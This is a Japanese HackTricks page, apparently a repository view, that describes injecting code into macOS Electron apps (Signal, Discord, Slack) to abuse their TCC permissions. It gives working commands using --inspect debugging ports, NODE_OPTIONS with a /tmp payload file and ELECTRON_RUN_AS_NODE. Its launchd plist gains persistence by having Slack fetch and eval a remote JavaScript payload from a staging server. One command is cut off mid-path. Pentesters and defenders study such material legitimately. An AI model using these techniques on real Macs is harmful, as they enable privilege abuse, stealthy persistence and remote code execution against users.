hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
2023-07-07 23:42:27 +00:00

7.9 KiB
Raw Blame History

macOS Electronアプリケーションのインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Electronアプリケーションへのコードの追加

ElectronアプリのJSコードは署名されていないため、攻撃者はアプリを書き込み可能な場所に移動し、悪意のあるJSコードをインジェクションしてそのアプリを起動し、TCCの権限を乱用することができます。

ただし、**kTCCServiceSystemPolicyAppBundles**権限を変更するには、必要です。したがって、デフォルトではこれはもはや可能ではありません。

Electronアプリケーションの検査

こちらによると、--inspect--inspect-brk、**--remote-debugging-port**などのフラグを使用してElectronアプリケーションを実行すると、デバッグポートが開かれ、それに接続することができますたとえば、Chromeのchrome://inspectから)そして、コードをインジェクトしたり、新しいプロセスを起動したりすることができます。
例えば:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} 注意してください。hardened Electronアプリケーションでは、RunAsNodeが無効になっているため、起動時に--inspectなどのードパラメータは無視されます。ただし、環境変数**ELECTRON_RUN_AS_NODE**が設定されている場合は、electronパラメータ--remote-debugging-port=9229を使用することができますが、以前のペイロードは他のプロセスを実行するためには機能しません。 {% endhint %}

NODE_OPTIONS

{% hint style="warning" %} この環境変数は、Electronアプリケーションが適切にハード化されており、それを許可している場合にのみ機能します。ハード化されている場合は、**環境変数ELECTRON_RUN_AS_NODE**も使用する必要があります。 {% endhint %}

この組み合わせを使用すると、ペイロードを別のファイルに保存してそのファイルを実行できます:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

ELECTRON_RUN_AS_NODE

ドキュメントによると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

ここで提案されているように、この環境変数をplist内で悪用して持続性を維持することができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥